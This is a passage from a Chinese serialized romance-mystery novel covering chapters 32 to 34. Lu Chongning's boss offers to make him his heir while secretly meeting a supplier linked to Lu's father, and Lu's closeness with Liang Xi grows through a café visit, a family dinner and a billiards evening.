下午五点,路崇宁掐好时间开车到刘俊华家,一处豪华别墅区,门口的保安长得高大威猛,穿着也特别立正。
他报了门牌号,等保安和业主通完话才被放行。
刘俊华在门口迎他,身边还站着一个漂亮女人,不过长相很大众,是那种没什么记忆点的漂亮。
“小宁,来啦。”
“刘总。”
“这位你叫曼姨。”
“曼姨。”
女人笑笑,“小宁是吧?长得真帅啊,这大高个儿。”
“谢谢曼姨。”
穿着家居服的刘俊华把路崇宁往里面带,三层别墅,里面装修富丽堂皇,处处彰显着两个字:“有钱。”
路崇宁把带来的水果礼盒放到茶几上,说:“刘总,不知道你爱吃什么?随便买了几样。”
刘俊华瞥了一眼礼盒,“家里很多水果,下次直接来,别买东西。”
路崇宁已经挑贵的买了,但他清楚这种水果未必入得了老板的眼。
“阿姨在炒菜,你先坐,一会儿开饭。”
曼姨说完转头上楼去了。
客厅只剩下路崇宁和刘俊华两个人,他把果盘拿到路崇宁面前,“吃蓝莓,对眼睛好。”
“谢谢刘总。”
“在家里不用这么客气。”
路崇宁笑笑,没伸手。
刘俊华把叉子递给他,“吃吧。”
“嗯。”
路崇宁插了一颗蓝莓,很甜。
“你和你妹妹一起住是吗?”
“对。”
路崇宁的入职信息里紧急联系人填的就是梁喜,他不知道刘俊华从哪里得知两人同住的事,但并不惊讶。
“离公司远不远?”
“还好,之前坐通勤车,现在自己开,差不多二十分钟。”
刘俊华拿块橙子吃,“车开得顺手吗?不顺手再给你换一辆。”
“挺好的。”
路崇宁不傻,他明显感觉到刘俊华最近对他越来越照顾,不是突然之间,而是丝丝渗透,尽量不让他感到拘谨。
“项目最近有什么情况吗?”
“一切顺利。”
除了那个叫“周胜”的,路崇宁自从注意他之后回公司查了所有能查到有关他的资料,发现保险都上全了,而且没两天就升职当了小领导,手下管好几个人呢,只是目前还没发现他和老板刘俊华有什么交集。
“你觉得继续上班好,还是回学校上学好?”
“没有什么好不好,我得赚钱养活自己。”
刚辍学那会儿路崇宁时常觉得遗憾,现在工作时间长了,反而看开了些。
“要是我能让你重新回去上学呢?”
路崇宁摇摇头,“刘总,你帮我出国打工还债,又给我现在这份工作,我不能平白无故屡次接受你的善意。”
况且任何一份善意都有价码,他很清楚。
刘俊华见路崇宁有点抵触,大手一扬,说:“先吃饭,边吃边聊,我让阿姨做得比较清淡,听阿布说你不太能吃辣。”
“谢谢刘总。”
路崇宁起身跟刘俊华往餐厅走
“曼姨不过来吃吗?”
“她不吃,今晚就咱俩。”
做饭的阿姨上完饭菜,对刘俊华说:“刘先生,您吃完饭记得吃药,我把晚上的份量准备好了。”
刘俊华点点头,阿姨转身离开。
路崇宁赶忙问:“刘总,您身体不舒服吗?”
“没事,老毛病,睡不好,神经有点虚弱。”
偌大的餐厅只剩下路崇宁和刘俊华两个人,这么大阵仗,他预感刘俊华要谈的事肯定跟公司没多大关系。
前半段纯属瞎聊,东一个话题西一个话题,后半段刘俊华才开始聊正事,“听说你爸没了之后你妈一直没找到。”
路崇宁夹菜的手一顿,“嗯,我还在找。”
“没联系过其他亲戚吗?”
“问过,都说没联系。”
刘俊华夹了只大虾给路崇宁,“你知道我一直未婚未育,身体原因,要不上小孩儿,你来时看见的曼姨虽然是我女朋友,但我不打算结婚,我跟你爸是旧相识,一直挺喜欢你这孩子的,所以我想问你同不同意到我家来,只要你足够上进,以后我会让你继承这些家业。”
“”
路崇宁有点蒙,刘俊华的话在脑子里快速兜了一遍,“继承家业”这四个字简直是天上掉馅饼,并非在地上捡到十块钱那么简单,非亲非故,他不明白刘俊华为什么选他。
“我没跟你开玩笑,认真的。”
放下筷子,路崇宁擦擦嘴,说:“刘总,我知道你经济条件很好,现在医疗技术这么先进,要是西医看得不行,可以找老中医看看,有自己的孩子怎么都比我这个外人强。”
刘俊华低头,“不怕你笑话,看过了,治不好。”
“领养孩子呢?从小抚养跟亲生的感情差不多。”
换句话说路崇宁已经二十来岁了,再怎么相处也不如自小养的孩子亲。
“我不是一时兴起,跟你说实话吧,你在国外上班,包括你来我公司到现在我一直在考察你,我觉得你做事很踏实,不骄不躁,但还需要时间历练,不急,你年轻,慢慢来。”
路崇宁想都没想,“我没那么多奢望,好好工作赚钱养家就行。”
“咱们爷俩投缘,你考虑一下,别急着回复我,吃饭。”
刘俊华拿过路崇宁面前的空碗,要给他盛鱼汤,路崇宁赶忙起身,“刘总,我自己来。”
“以后私下别管我叫刘总了,生分,叫我华叔吧。”
“好,华叔。”
鱼汤盛完放到路崇宁面前,他拿勺子喝了一口,很鲜,“一会儿我能问问阿姨这个鱼汤怎么做的吗?”
“喜欢喝啊?”
“喜喜我妹喜欢吃鱼。”
“你对你妹这么好呐。”
路崇宁笑笑,“她对我也很好。”
“行啊,一会儿让阿姨把做法写给你,拿回家照做,要是哪里不会再给阿姨打电话。”
“谢谢华叔。”
吃完饭,路崇宁出于礼貌又坐了十分钟,临走时刘俊华拿了两盒海参给他,说是别人送的,家里海参太多了,执意让路崇宁拿着,他左右推脱不行只能接受
下午两点吃的饭,梁喜到晚上七点多才饿,她不想再吃剩菜,翻出方便面煮了一袋,煮好后直接端锅到客厅,坐在地上边吃边组乐高。
这个乐高是好久之前信航买给她的生日礼物,在北京的时候工作忙,连包装都没拆,今天被她翻出来,打算大战一场。
路崇宁开门回来,看见梁喜赤脚坐在地上,手里端着锅,脚边的乐高刚拼好底座。
他进屋放下海参,问:“才吃饭吗?”
“嗯~”梁喜咬着面含糊应一声。
路崇宁走过去坐下,盯着乐高没敢碰。
她大拇脚指点点,“你给我拼。”
路崇宁拿纸盒垫着手,故作嫌弃地推开梁喜的脚,她顺势一踢,路崇宁这才老实,仔细看着纸盒上的图案,研究怎么拼。
“不是喜欢兔子吗?怎么买了个猪?”
“大哥,那是熊,信航买的。”
“熊?”
路崇宁仔细端详。
梁喜凑过去,指指鼻子,“呐!熊鼻子。”
路崇宁忽然转头,盯着梁喜的鼻子看,两人间隔不过几厘米
梁喜只觉脸烫得慌,撤回身继续嗦面,嚼了几口,看见鞋柜上的礼盒,问:“拿回来什么东西?”
“老板给的海参。”
她没问为什么给,而是说:“改天煮粥放一颗,给我补补。”
梁喜除了稍微瘦点,其他各方面都给人一种健康且积极向上的感觉。
路崇宁摆弄手里的零件,回她:“一箱给你,另外一箱给唐姨拿过去。”
最后一口面吃完,梁喜把锅送回厨房刷干净,又回路崇宁身旁坐下,发现底座上面又起了一层,比她拼得快多了。
胜负欲涌上来,梁喜故意打压,“你到底会不会?”
余光一晃,路崇宁说:“这个家除了你以外,其余我都会。”
“你的意思我很难搞是吗?”
“差不多。”
冷眼看过去,梁喜忽然起身,一个锁喉将路崇宁困住,他手里的乐高掉落,拼好的部分全散了。
“喜你放开。”路崇宁说话有点上不来气,但他没用力抵抗。
“不放,小时候你就这么败坏我口碑。”
梁喜说完,屋里只能听见路崇宁粗重的喘息声,可惜胜利维持不过两秒,他不仅挣脱了,还反将梁喜压在身下。
平整但硌人的地板将她封印,一动不动盯着路崇宁,有个声音在心里荡来荡去。
你看,我也没有很难搞。
第32章 第三十二章 需要喝冰水压制的画面……
今天梁喜和崔影约好一起出去, 她没睡懒觉,早早起来洗漱。
洗完澡,拽睡衣的时候不小心掉落浴室地上, 瞬间濡湿一片, 没办法,她只好裹上浴巾, 刚要开门, 突然想到什么, 小心凑进门口, 侧
耳听外面的声音, 貌似没什么动静。
开门出去,刚迈出一步,路崇宁那屋门也打开, 两人目光撞上,同时一愣。
梁喜下意识捂住胸口,但她看见路崇宁眼神明显晃动,了然是自己穿少了。
“要出去吗?”他问。
“嗯。”
梁喜光脚快速跑回房间, 在地上留下一串脚印形状的水迹, 路崇宁望着紧闭的门, 喉结上下动了动, 打开冰箱拿了一瓶冰水, 咕咚咕咚猛灌半瓶
等梁喜收拾好要出门路崇宁已经去咖啡店了, 乐高不知什么时候拼好的,摆在餐桌一角, 她拿起来左右端详,小熊的模样清晰可辨,不知是不是因为出自路崇宁之手, 实物比图片上可爱多了。
刚要走,崔影发信息催梁喜,她点名要去路崇宁打工的咖啡店坐坐,美其名曰替梁喜查岗。
“你想查什么?他们店连女店员都没有。”
“事先预判就不叫查岗了姐姐。”
“”
一点钟,小区门口,等崔影开车过来,梁喜上车坐进副驾驶。
“要不要先吃点东西?”
崔影手指敲着方向盘,“咖啡店不是有甜品吗?一会儿整几个。”
梁喜点点头,继而警告她,“等到了看见路崇宁说话注点意,别给我套进去。”
“放心,我心里有数。”
崔影拍胸脯保证,系安全带的梁喜却感觉不到一丝安全。
每到周末哪哪的停车位都紧张,崔影在咖啡店门口转了一圈没找到车位,幸运的是兜回原地刚好看见有辆车离开,她赶紧开过去,只是位置狭窄,梁喜下车帮她指挥,但停了两次也没停进去。
“我来吧。”
一个声音在梁喜耳边响起,她转头看见叼着烟的路崇宁,只叼没点,应该刚从店里出来。
崔影像看到救星一样,赶忙下车,路崇宁将烟递给梁喜,她小心捏着,生怕给它捏断。
路崇宁三两下把车停好,锁完车钥匙递给崔影,“等你走的时候要是挪不出来再叫我。”
“谢谢!”
路崇宁从梁喜手里接过烟,点上吸了一口,问:“你俩过来喝咖啡吗?”
崔影:“对啊,尝尝你手艺。”
“先进去坐吧,我抽完这根就回去。”
梁喜和崔影手拉手往店里走,崔影捂嘴小声蛐蛐,“路崇宁不知道咱俩来啊?”
“我没说。”
“突击检查搞得有点明显啊!”
梁喜给崔影开门,“他忙,发信息也没空看。”
两人进屋找好位子,路崇宁很快回来,问她俩喝什么,可以去前边点单。
站在柜台前,崔影点了一杯冰博客dirty,没等梁喜说,路崇宁替她点了,“冰美式,对吧?”
“嗯,再要一份提拉米苏,一份乳酪司康。”
梁喜点完问崔影,“够不够?”
“够了。”
路崇宁下完单,说:“回去坐,一会儿给你俩送过去。”
“多少钱?”崔影问。
路崇宁掏出手机,“我来。”
崔影一把抢过去,给路崇宁吓一跳。
“你要这样,以后别去我店里吃饭啦!”
梁喜冲路崇宁使个眼色,他会意,说:“行,你付吧,六十五。”
崔影终于满意了,付完钱把手机还给路崇宁。
拿小票走回座位,梁喜和崔影都愣住了,刚才事先找好的座位眼下坐了两个女孩儿,而梁喜用来占座的包被放到另一边椅子上,不用问也知道谁拿的。
没等崔影说话,梁喜走过去,“你好,这是我们的座位,包刚才放这了。”
对面女生冷着脸,背对梁喜的人倒是回过头来,先是一愣,转瞬笑笑,“诶?梁喜!”
阿布?
看见她,梁喜好像明白了怎么回事
“认识啊?”崔影问。
梁喜实话实说,“路崇宁同事。”
阿布起身,“不好意思,占你们座位了,换一下吧。”
“没事,让给你。”
梁喜拉崔影坐到另一边的另一边,总之尽量远离。
刚坐下,崔影小声问梁喜,“怎么了?感觉你不咋高兴。”
“碰到没礼貌的人当然不高兴。”
崔影瞄了一眼梁喜的包,确实不礼貌,“你还认识路崇宁同事呢。”
“之前给他公司送黑陶见过两次。”
崔影把手机往桌上一扔,有种强烈的预感,“不会喜欢路崇宁吧?”
“不知道,爱喜欢不喜欢。”
一旦忽略猎奇心理,有的人立马就变得平平无奇了,梁喜现在对阿布没什么兴趣。
收银台那边,路崇宁边做咖啡边和常涛聊天,店里音乐声有效阻隔了内容传递。
“那小姑娘又来找你了。”
路崇宁瞥了一眼阿布方向,她和梁喜肯定打过照面了,因为阿布占了梁喜的座位。
“你手里这杯是哪桌的?”
“七号桌,我妹和她朋友。”
“你妹?”常涛望向七号桌,“没听说你有妹妹呀?哪个是?”
路崇宁的目光从梁喜脸上流过,“漂亮那个。”
常涛快速锁定目标,“啊~确实漂亮,亲妹吗?”
“不是。”
“表妹呗,给咱妹送点啥吗?”
“不用,她俩点的够了。”
这时阿布走到点单台前,跷脚问:“小宁哥,我的好了吗?”
常涛见路崇宁忙着,把活接过来,发现她那桌什么也没点,跟她核实,“你点了吗?”
“小宁哥知道我喝什么,没点啊?”
路崇宁甩过一句,“你现在点,做得快。”
常涛尴尬笑笑,“不好意思啊。”
阿布明显失望,不高兴挂在脸上,“一杯焦糖玛奇朵,一杯柠檬水。”
“好嘞,三十二。”
阿布又朝路崇宁那边看,貌似抱有期待,她缓缓掏出手机,直到付完钱路崇宁都没过来搭话。
阿布刚离开,常涛走过去拍拍路崇宁肩膀,“今天啥情况?你妹怕你谈恋爱,替你妈查你岗啊?”
路崇宁没和常涛聊过家里事,他笑笑,说:“没情况,把她们当普通客人就行。”
说完他端着餐盘走去七号桌。
常涛暗暗嘀咕,普通客人哪里用你亲自送餐
见路崇宁走过来,崔影马上中止刚才的话,冰美式放在梁喜面前,他说:“少冰的。”
梁喜没吱声,崔影倒说了声“谢谢”,路崇宁转身刚要走,崔影叫住他,小声问:“你们公司让兼职别的工作吗?”
“公司不管这个。”
“噢所以你主动邀请那女孩儿来的呀?”
桌下,梁喜踢了崔影一脚,用力过猛,桌子随之一颤,咖啡晃了晃,漾起一圈圈波纹,但没洒出来。
“前段时间我下班坐通勤车过来上班,被她看见了。”
路崇宁解释完转身离开,崔影赶忙且故意地大声问梁喜:“你和许京平最近怎么样?他怎么那么粘人,天天给你打电话。”
梁喜一脸懵逼,崔影冲她使眼色,她后知后觉,却没回应,等路崇宁走回收银台她才说:“也没天天打电话,但是每天都发信息。”
崔影一副恨铁不成钢的模样,拍着脑门摇头,“我那么问你是想刺激一下路崇宁,你应该说给他听啊。”
梁喜不上心,笑笑,“算了,别做无用功。”
“路崇宁有女朋友了。”
梁喜端杯的手一顿,“什么?”
崔影双手一摊,“看,我随便一说你就慌了,万一是真的,你要整天以泪洗面吗?”
这女人嘴真毒啊。
梁喜连喝几口冰咖啡让自己冷静,拿起叉子插了一块提拉米苏递给崔影,“多吃点,嘴巴会变甜。”
“变甜和撒谎是两回事。”
“”
梁喜哄她,“你看你多有面子,其他人都自己去取,路崇宁还给你送来。”
“那不是看你面子吗?”
“当然不是,上次我和许京平来自己取的好吗?”
崔影眼前一亮,“路崇宁吃醋了。”
“吃醋?”
崔影狂点头,“就像你刚才不也吃醋了吗?”
“别往我身上扯。”
嘴上这么说,可梁喜看见阿布在前
面取饮品,还和路崇宁说着什么,她脸色一沉,低头吃蛋糕。
“对了,我让你给我做的黑陶你做了没?”
“上次发你照片问你喜欢哪个你也没回我呀。”
“是吗?”崔影掏出手机,“可能忙忘了,我现在看看。”
她查找聊天记录,奈何两人平时发的八卦、废话还有随手拍太多,翻半天才找到。
挨张看了一遍,她说:“我还是要貔貅吧,赚钱要紧。”
“行,等明天上班我看库里有没有库存,要是没有现给你做一个。”
“别整太贵啊,两千以内的。”
“我送你,不用你花钱。”
“快拉倒吧,那玩意儿也不便宜,给我打个折就行。”
“你要是放心我手艺的话我给你做,一分不用花。”
崔影半信半疑,“真的?你手艺我当然放心。”
“等着吧,我抽空给你做。”
咖啡店陆续上客,阿布那桌不知什么时候走了,看时间差不多,梁喜和崔影也要撤。
“我去个厕所,回来咱俩就走哈。”
崔影起身离开,路崇宁却来了。
“你一会儿回家吗?”他问。
梁喜头也不抬,“回。”
“一起走吧。”
她这才抬头看过去,发现路崇宁围裙摘掉,里面又穿了那件短袖,如果被崔影看见
“你没开车吗?”
“没,坐公交来的。”
“啊。”梁喜莫名紧张,她手指扣扣纸巾,“崔影上厕所了,等一下。”
“我去门口等。”
崔影很快回来,梁喜跟她说路崇宁也一起回。
“好啊!”崔影甩甩手上水,让梁喜帮她拿包。
开门出去,路崇宁站在路边抽烟,他转身的同时崔影立马注意到他胸前的字母简拼。
梁喜知道她看见了,赶忙招呼路崇宁上车,梁喜坐副驾驶,路崇宁坐后面。
路上崔影一直没提,梁喜这才稍稍安心,谁知快开到家门口的时候她突然问路崇宁:“你衣服上的字母是不是梁喜啊?”
路崇宁下意识摸向那里,沉沉应了一声,“是。”
梁喜胸口的乌云瞬间被风吹散,拨云见日,心情好得不得了。
第33章 第三十三章 意外现身的人。
炎热夏季, 在工地上奔走是件极其考验耐力的事情,趁早上稍微凉爽些,路崇宁没去公司, 直奔游乐场看下进度。
在项目转了一圈, 他想找监理曲天明聊点事,没成想半路遇到了, 只是曲天明气喘吁吁, 上气不接下气, 刚抗完五袋水泥的既视感。
路崇宁问他:“怎么了?发生什么事了?”
“擦!周胜和一个工人打起来了, 还敢抄家伙, 幸亏我及时赶到,这要出人命项目非停工不可。”
路崇宁假装不认识,“周胜?哪个?”
“最近刚升职那个, 周主管,他有关系,我不太敢说他。”
“噢,周主管, 他的关系在老板那边吗?”
曲天明四下看看, “那不太清楚, 总之是关系户, 咱们惹不起, 你也离他远点, 谁挨上谁倒霉。”
路崇宁点点头。
“去我办公室喝茶呀。”
“不去了,回公司还有事。”
曲天明拍拍路崇宁肩膀, “开车来的吧?走,我送你去停车场。”
回到公司,路崇宁顾不上回歇息, 直奔阿布办公室,闲聊一样问:“刘总来了吗?”
“他上午有事,下午来,跟原料供应商约好了。”
“原料供应商?”
这个人只存在于传闻中,路崇宁从没见过本人。
“哦,我记得他叫”他故作回想,顿了两秒,阿布说:“吴总。”
“大名是什么?”
阿布扫了一眼刘总日行程表,“我也不知道,刘总没告诉我,但是我无意中听他打电话,说了个名字叫吴青,不知道是不是那位吴总。”
“行,我没事,先走了。”
路崇宁转身离开的一瞬神情立马冷下,阿布不可能不知道访客名字,除非老板故意不让她知道,再者那位原料供应商和梁叔认识的吴青名字同音,会不会是同一个人?
临近两点,司机开车将刘俊华和吴青送到公司楼下,吴青只来过这里一次,但熟门熟路,毕竟大厦装修的活是他干的。
两人边走边聊,直奔刘俊华办公室。
阿布见有客人来要准备茶水,谁知刘俊华将“请勿打扰”的牌子一挂,把阿布支走了。
进屋坐下,吴青问:“刘哥,你还真把路召庆他儿子弄你公司来了啊?”
“你刚才经过了他的办公室。”
“他不在吧?”
“在的话我能让你来吗?”
吴青竖起拇指,“那小子是个爷们儿!我没想到他把他爸的债全还了,真能吃苦。”
刘俊华把那天在家里和路崇宁说的话跟吴青说了一遍,他听完惊得讲不出一个字,瞥了一眼紧闭的门,问:“刘哥,你这么做图啥?他姓路,是路召庆的儿子,不姓刘啊。”
“要是答应进我家门,以后自然姓刘。”
吴青眼前闪过当年路召庆离开化城时的狼狈模样,还是想不通,果然人和人之间有壁,他到死都理解不了刘俊华怎么就相中了路召庆的儿子,到底有恩怨在
“梁喜的资料,带来了吗?”
“带了。”
吴青拉开手包拉链,掏出一张纸,还附着一张照片,刘俊华接过时瞥一眼他缺失小拇指的手,断口处触目惊心。
照片放到一边,刘俊华拿起资料快速扫一遍,很简单的履历,也很干净,普普通通,除了长相没什么称得上优异的亮点。
“梁辰义的闺女,从小和路崇宁一起长大,现在也住一起,这姑娘没啥特别,你想知道什么?”
刘俊华放下资料,“她有男朋友吗?”
“刘哥,你该不会”
刘俊华无奈笑笑,“别瞎想,我没那癖好,就是确认一下她和小宁的关系。”
吴青突然低下头,“刘哥,事儿都过去了,那几个小辈只要别揪着不放,大家各自安好吧,我也想过几年安生日子,再说你现在生意做这么好,估计没几年就能混成化城老大了,我也跟着刘哥喝点汤。”
刘俊华点点头,把梁喜的资料还给吴青,“但愿如你所说。”
“她现在学黑陶呢,就在王兴印的工作室。”
吴青说话时看向刘俊华办公桌上摆放的黑陶。
“我知道,这批货是她送来的。”
“这么巧。”
果然小地方都这样,兜兜转转一个圈,说不定谁和谁认识。
刘俊华靠着沙发椅背,缓缓看向窗外,“周胜最近不太老实,回头你跟他说一声,不能干就结一笔钱走人,别给我找麻烦,要是被小宁盯上,查出什么,我饶不了他。”
“是是,我知道。”
“肖国强他儿子那边的生意你照顾好,再有过几天初一去青云寺上香别忘了。”
“忘不了,初一十五大日子,这几年跟着你信佛上香,感觉身上都轻快了。”
刘俊华看眼时间,“行,差不多了,你回去吧,项目供的料你把好关,这是政府工程,别给我捅娄子。”
“知道知道。”
吴青起身,“那我先走了,刘哥。”
“嗯。”
吴青这边刚开门,迎面撞上路崇宁,他突然一愣,路崇宁点点头,侧身做了个“请”的动作,他赶忙离开。
阿布告诉路崇宁原料供应商正在和刘总开会,不让外人打扰,所以这个男人肯定是吴青无疑,而且最重要的,五分钟前信航给路崇宁发来梁叔认识的那位吴青的照片,跟刚才出来的人长得一模一样,所以肯定是同一个人无疑。
梁叔和民叔都认识的人出现在路崇宁的公司绝非巧合,只是不知道际会深浅。
视线从吴青身上移回来,路崇宁转头假装
才看见门上的“请勿打扰”,赶忙道歉,“不好意思刘总。”
他指指门牌,“我一会儿再来。”
刘俊华皱了下眉头,“你不是出外勤了吗?”
“文件忘拿了,回来取。”
刘俊华朝他招手,“进来吧,客人走了。”
“噢。”
路崇宁进屋,听见刘俊华主动介绍,“原料供应商过来谈点事,你没见过吧?”
“没有,我的工作和他没什么交集。”
“有机会介绍你认识认识。”
“嗯。”
路崇宁不能对吴青表现出好奇,赶紧汇报项目进度
梁喜忙了一下午回到二楼才发现手机有好几个未接来电,都是许京平打的。
她摘掉手套拨过去,那头秒接,“喂,梁喜。”
“不好意思,烧陶去了,才回来。”
“没事,跟你确认下时间,明天下午三点到是吗?”
“是。”
“我去接你。”
“不麻烦,我们打车过去就行。”
许京平还是坚持,“我去接。”
“谢谢。”梁喜拗不过他,只得应允。
“这回你哥不来吧?”
梁喜笑了声,“跟他没关系,去干嘛。”
“那就好。”
“”
去德城出差的事梁喜还没跟路崇宁说,正好今晚信航来家里吃饭一起说吧,要不然过后信航还得刨根问底
下班后梁喜去菜市场买了一条黄花鱼,又买了点猪肉馅和青椒,外加一颗菜花,家里有木耳和黄瓜,拌个凉菜基本够了。
不出意外,信航和路崇宁一起回来的,换完鞋他直奔厨房,照着梁喜的头弹了个脑奔儿。
梁喜吃痛,下意识回手给他一拳,打完愣住,“怎么瘦这德行?”
快十天没见,梁喜发现他脸都小了一圈。
“想你想的。”
“屁!”
信航朝锅里看,“做啥好吃的?”
“清蒸黄花鱼,青椒酿肉。”
“手艺渐长啊。”
“不需要啥技术含量。”
梁喜实话实说,信航伸手要洗,“我帮你干点什么。”
“不用,去客厅坐吧,快好了。”
路崇宁换完衣服,打开冰箱拿出一瓶可乐,拧开递给信航,“喜喜给你买的。”
信航受宠若惊,“大小姐对我真好。”
梁喜明晃晃瞪他一眼,路崇宁把信航往外推,“赶紧走。”
要不然容易挨铲子。
四道菜做完,梁喜每道都尝了一口,自觉味道还不错,加上三叔送来的五常大米,光闻饭香也能吃一盘菜。
晚饭到后半段的时候梁喜才说:“我明天出差。”
“去哪?”
路崇宁和信航异口同声。
“德城,跟我师父还有周靖哲去许京平的公司参观学习。”
相比路崇宁的淡定,信航直接放下碗,“你师父张罗的,还是那小子主动邀请啊?”
“都有吧。”
路崇宁撂筷,“我吃饱了,你俩慢慢吃。”
信航身子扭过去追着他问,“就吃一碗啊?”
“嗯,不太饿。”
路崇宁擦擦嘴,在躺椅那躺下,点了根烟。
转回来,信航直接挑破,“听崔影说姓许的追你啊?”
“嗯。”
“刚认识没多久,靠谱吗?你自己多注意,别被花言巧语骗了,那小子长得就带沾花惹草的样儿,不可能像我和小宁对你这么实心实意。”
“他又没惹你,干嘛那么说,人家挺好的。”
“诶呀!你向着他说话是吧?”
梁喜也吃完了,放下筷子,问信航:“再来一碗吗?”
“你别打岔。”
“到底吃不吃?”
饭锅在梁喜那边,信航只得把空碗递给她,顺便夸一嘴,“厨艺渐长,做得真好吃。”
“下回你做。”
“我不行吧,容易食物中毒。”
梁喜又盛了满满一碗饭给信航,他问:“去几天啊?”
“还不知道呢,可能三四天?不确定。”
“你走几天也挺好,小宁能消停消停。”
只见安静半天的路崇宁弹弹烟灰,说:“她不吵,不像小时候了。”
闻到烟味,梁喜往路崇宁那边看,他面朝窗外,看不见他什么表情,更不知道他淡淡的话语过后脑子里想什么。
梁喜向信航求证,“我小时候吵吗?”
他仔细想了想,“还行吧,虽然不是一个爹妈生的,但那会儿你对我俩有血脉压制,反正你一叫小宁名字,他本能不敢动,你说你都把他吓成啥样了,我看他现在也有点怕你。”
“他才不怕。”
梁喜起身假装去阳台收衣服,收完发现路崇宁又把头转到信航那边敢情躲她呢?
她把衣服全扔到路崇宁身上,“叠了。”
路崇宁半坐起来,随手拎起一件,竟然是梁喜的吊带睡裙。
他拿开烟,烟雾轻轻呼出,和窗外的云一般轻薄。
餐桌旁,信航扒拉最后一口饭,含糊不清地说:“小宁,出去打杆台球啊?”
“行,等我把衣服叠完。”
信航吃完擦擦嘴,走到路崇宁身边,发现衣服有梁喜的,也有路崇宁的,相互叠放在一起,有种不分彼此的意味。
他从烟盒抽出一个烟,背对路崇宁点着,尽量避开视线。
第34章 第三十四章 台球厅的亲密耳语。
梁喜刚站在洗手池前忽然身子一晃, 被路崇宁搭着肩膀推走。
“我来洗。”他说。
“你俩去吧,我自己收拾。”
梁喜推开路崇宁,把他往一边赶, 力度比他刚才大多了。
信航放下碗筷, “我俩收拾,完事一起去。”
“我又不会玩, 去了也干呆着。”
信航还想继续请, 路崇宁却说:“她明天出差, 在家歇着吧。”
以梁喜对信航的了解, 他肯定还会再请一次, 那样她就答应,没想到路崇宁半路杀出来,去不了了。
等两人出门, 梁喜看见叠好的衣服放在她床上,所有晒干的,包括路崇宁那几件
住一起这么久,向来各叠各的, 今天第一次混在一起, 梁喜忽然觉得这种不分彼此的日子好像恋爱同居了一样。
她躺下, 拿起手机打开和路崇宁的对话框, 最近的聊天是下午, 她告诉路崇宁都买了哪些菜, 还问他有没有什么想吃的。
路崇宁回答:“做什么吃什么,不挑。”
果然现在好养活多了, 连梁喜不爱吃的他也能拿过去吃掉,珍惜粮食的典范。
正看着聊天界面突然进来一条信息,他说:“你把信航手机送下来吧, 他忘带了,怕单位有事找他。”
“好。”
梁喜一个鲤鱼打挺起来,找到信航手机,随便趿拉个拖鞋下楼
台球室在好如居宾馆旁边的半地下室,门脸看着小,细长一条,里面却很宽敞,晚上这个时间人不少,基本台球案都占满了。
梁喜进屋一眼便扫到路崇宁,个子高,显眼,他手握台球杆,另一只手叉腰,嘴里还叼着烟,边看信航推杆边抽。
“给。”
梁喜走过去把手机递给信航。
“来啦!”他接过,指向一旁的椅子,“待会儿呗。”
梁喜没说什么,一屁股坐下。
路崇宁打完轮到信航,他得闲走到梁喜身边,问:“明天几点车?”
梁喜没听清,拽他衣角,“什么?”
路崇宁弯腰,拿烟的手尽可能往远处伸,在梁喜耳边又重复一遍,唇尖轻碰耳朵,她肉眼可见地抖了下。
“八八点二十。”
梁喜说完把手撒
开,路崇宁还弯着腰,“我送你去车站。”
没等梁喜回绝,信航拿杆敲敲台球案,“小宁!到你了。”
聊天中断,路崇宁直起腰,把烟掐灭后扫了一圈每个球的位置,俯下身去。
打台球是路崇宁唯一还算喜欢的娱乐项目,但这几年一次没玩过,仅有那点技艺怕是都生疏了。
梁喜也站起来,盯着路崇宁瞄准的球,心里希望别打进,这样她就能把刚才没说的话说完。
杆推出去,黄色球撞到案边又弹回,直奔球洞。
“行啊,手没生。”信航刚夸完路崇宁,第二个球他就失手了。
“真不经夸!”信航起身上场。
这回换路崇宁坐下,问梁喜:“要我陪你去吗?”
“高铁,没事。”
路崇宁有点欲言又止,梁喜猜他可能担心周靖哲使坏,安慰说:“我师父也在,周靖哲不敢怎么样。”
“我担心的不是这个。”
梁喜眨眨眼,“那还担心啥?”
“没事,到了来电话。”
“有时间就打给你。”
换言之,没时间就不打了,梁喜习惯性故意气他。
只是路崇宁根本没时间在意,信航那边瞄了半天,一个球也没打进。
两人再次互换位置,信航看看梁喜,突然话锋一转,“出差注点意,别跟陌生人搭讪。”
“知道。”
“钱够花吗?”
“够。”
信航知道梁喜一向不乱花钱,但忍不住关心,“还有那个许京平,我总觉得他不咋地。”
梁喜哼了声,“我身边的男的你就能看上你自己。”
高中时追过梁喜的侯海东,信航头一个不待见他。
“谁说的,小宁我能看上啊。”
梁喜冲台球案那边抬抬下巴,说:“你的小宁清台了。”
“我擦!”
信航起身过去,从球洞往出掏球。
“我回去了,你俩玩吧。”
梁喜起来拍拍屁股走人。
信航冲她背影喊,“我俩玩一会儿就回。”
“爱回不回。”
路崇宁轻笑一声,等到梁喜出门,他转过身,拿巧粉边球杆边招呼信航重开
梁喜出差走的第一天信航便住进她家,晚上路崇宁洗完澡从洗手间出来,听到有人开锁着实吓了一跳,因为梁喜不在家,他洗完澡只穿了一条内裤,正打算要躲的时候看见信航进来,这才想起梁喜给过他家里钥匙。
“吓着你了吧?我给你打电话你没接。”
“啊。”路崇宁平平气,“洗澡没听见。”
“吃饭没?”
“吃了。”
信航把手中塑料袋往桌上一放,说:“我猜你也吃了,我刚在路边买了一份凉皮。”
“够吗?”
“够,这是宵夜。”
九点多,的确算宵夜。
路崇宁跟他一起坐下,“晚上在这住吧。”
信航掰开一次性筷子,“正有此意,喜喜到了吗?”
“到了。”
信航也发了信息,不过梁喜没回。
路崇宁去厨房拿了一个大碗,把凉皮放里,解开塑料袋推到信航面前,“给你拿瓶可乐?”
他双眼放光,“有吗?”
“有,喜喜给你买了好几瓶。”
“行,没白疼她。”
路崇宁坐下,信航问他:“你跟我要吴青的照片,核实了吗?”
“嗯,他就是我们公司的原料供应商。”
信航一顿,转瞬又继续吃,“我知道吴青是做建材生意的,但是做得一般,没想到跟你们公司还有业务往来。”
“他去公司找我老板谈事被我看见了,脖子上戴着一块朱砂的佛牌,我老板也有一块朱砂的,只不过样式不同。”
“看来这俩人有共同爱好啊。”
“光华在化城算大公司,吴青能拿下这笔订单没那么容易,所以我觉得他和我老板应该有私交。”
信航点点头,“肯定的,这可是大买卖,一般人吃不下,凡是有回扣的业务都有各种猫腻。”
路崇宁想到什么,说:“吴青和梁叔认识,我老板跟我爸也认识,说不定当年他们还在一起喝过酒。”
“你老板跟你爸认识?”
信航没听路崇宁提过,有点意外。
“前段时间我和他一起去工地,他跟我说的,后来让我去他家做客,你知道他提了一件多离谱的事吗?”
